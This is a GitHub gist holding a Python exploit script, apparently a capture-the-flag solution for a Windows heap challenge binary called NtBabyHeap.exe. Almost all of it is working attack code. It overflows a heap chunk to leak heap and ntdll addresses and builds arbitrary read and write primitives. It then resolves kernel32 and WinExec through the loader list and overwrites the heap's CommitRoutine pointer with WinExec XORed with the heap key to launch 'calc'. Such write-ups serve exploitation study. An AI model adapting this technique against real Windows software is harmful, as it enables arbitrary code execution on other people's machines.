Skip to content

Instantly share code, notes, and snippets.

@dialluvioso
Created June 17, 2021 10:29
Show Gist options
  • Select an option

  • Save dialluvioso/ac2e14b917e7b133d879f765de057d7c to your computer and use it in GitHub Desktop.

Select an option

Save dialluvioso/ac2e14b917e7b133d879f765de057d7c to your computer and use it in GitHub Desktop.
NT Babyheap
# -*- coding: utf-8 -*-
from pwintools import *
filepath = "NtBabyHeap.exe"
def add(size):
io.recvuntil("Enter Choice:")
io.sendline("1")
io.recvuntil("Enter size:")
io.sendline("%d" % size)
def remove(idx):
io.recvuntil("Enter Choice:")
io.sendline("2")
io.recvuntil("Enter idx:")
io.sendline("%d" % idx)
def view(idx):
io.recvuntil("Enter Choice:")
io.sendline("3")
io.recvuntil("Enter idx:")
io.sendline("%d" % idx)
def edit(idx, offset, size, data):
io.recvuntil("Enter Choice:")
io.sendline("4")
io.recvuntil("Enter idx:")
io.sendline("%d" % idx)
io.recvuntil("Enter offset:")
io.sendline("%d" % offset)
io.recvuntil("Enter size")
io.sendline("%d" % size)
io.recvuntil("Enter data:")
io.send(data)
def leak_heap():
edit(0, 0, 40, "A" * 40)
view(0)
line = io.recvline()
data = line.split()[1][40:]
assert len(data) == 6
leak = u64(data.ljust(8, "\x00"))
return leak
def leak_heap_fix():
edit(0, 0, 24, "A" * 24)
view(0)
line = io.recvline()
data = line.split()[1][24:]
assert len(data) == 6
qword1 = list(data) + [ "\x00" ] * 2
edit(0, 0, 31, "A" * 31)
view(0)
line = io.recvline()
data = line.split()[1][31:]
qword1[7] = data[0]
qword1 = u64("".join(qword1))
print("qword1 is %lx" % qword1)
edit(0, 0, 41, "A" * 41)
view(0)
line = io.recvline()
data = line.split()[1][41:]
qword2 = [ "\x00" ] + list(data) + [ "\x00" ] * 2
qword2 = u64("".join(qword2))
print("qword2 is %lx" % qword2)
edit(0, 0, 56, "A" * 56)
view(0)
line = io.recvline()
data = line.split()[1][56:]
qword3 = list(data) + [ "\x00" ] * 2
edit(0, 0, 63, "A" * 63)
view(0)
line = io.recvline()
data = line.split()[1][63:]
qword3[7] = data[0]
qword3 = u64("".join(qword3))
print("qword3 is %lx" % qword3)
qword4 = u64(data[25:].ljust(8, "\x00"))
print("qword4 is %lx" % qword4)
edit(0, 0, 96, "A" * 96)
view(0)
line = io.recvline()
data = line.split()[1][96:]
ret = u64(data.ljust(8, "\x00"))
edit(0, 24, 72, p64(qword1) + p64(0x18) + p64(qword2) + p64(0) \
+ p64(qword3) + "B" * 24 + p64(qword4))
print("fixed heap data structures!")
return ret
def read64(addr, n=6):
edit(0, 40, 8, p64(addr))
view(1)
line = io.recvline()
data = line.split()[1]
assert len(data) == n or len(data) == 8
data = data.ljust(8, "\x00")
return u64(data)
def write64(addr, val):
edit(0, 40, 8, p64(addr))
edit(1, 0, 8, p64(val))
def write32(addr, val):
edit(0, 40, 8, p64(addr))
edit(1, 0, 4, p32(val))
def setup():
add(24)
add(24)
edit(0, 0, 24, "A" * 24)
edit(1, 0, 24, "B" * 24)
edit(0, 0xFFFFFFE0, 0x8, p64(0x100))
OFFSET_NTDLL = 0x163dd0
OFFSET_START = 0x1794
OFFSET_READFILE = 0x3000
OFFSET_COMMIT_ROUTINE = 0x168
OFFSET_AVAILABLE_VIEWS = 0x5034
# x-ref ListHead in LdrEnumerateLoadedModules
ntdll_InLoadOrderModuleList = 0x1653D0
ntdll_peb = 0x165348
kernel32_ReadFile = 0x22410
kernel32_WinExec = 0x5E800
io = Process(filepath)
setup()
chunk1 = leak_heap()
print("chunk1 at %#lx" % chunk1)
heap = chunk1 & ~(0x10000-1)
print("heap at %#lx" % heap)
ntdll = read64(heap + 0x2c0) - OFFSET_NTDLL
print("ntdll at %#lx" % ntdll)
io.close()
io = Process(filepath)
setup()
InLoadOrderModuleList = read64(ntdll + ntdll_InLoadOrderModuleList)
print("InLoadOrderModuleList at %#lx" % InLoadOrderModuleList)
ntbabyheap = read64(InLoadOrderModuleList + 0x38) - OFFSET_START
print("ntbabyheap at %#lx" % ntbabyheap)
write32(ntbabyheap + OFFSET_AVAILABLE_VIEWS, 0xFFFFFFFF)
print("modified available views")
peb = read64(ntdll + ntdll_peb, n=5) - 0x80
print("peb at %#lx" % peb)
kernel32 = read64(ntbabyheap + OFFSET_READFILE) - kernel32_ReadFile
print("kernel32 at %#lx" % kernel32)
winexec = kernel32 + kernel32_WinExec
print("WinExec at %#lx" % winexec)
heap = leak_heap_fix() & ~(0x10000-1)
print("new heap at %#lx" % heap)
RtlHeapKey = read64(heap + 0x168)
print("RtlHeapKey is %#lx" % RtlHeapKey)
write64(heap + OFFSET_COMMIT_ROUTINE, winexec ^ RtlHeapKey)
print("successfully overwrote heap's CommitRoutine")
write64(heap, 0x636c6163)
print("triggering callback...")
add(0x2000) # large allocation needed
io.interactive()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment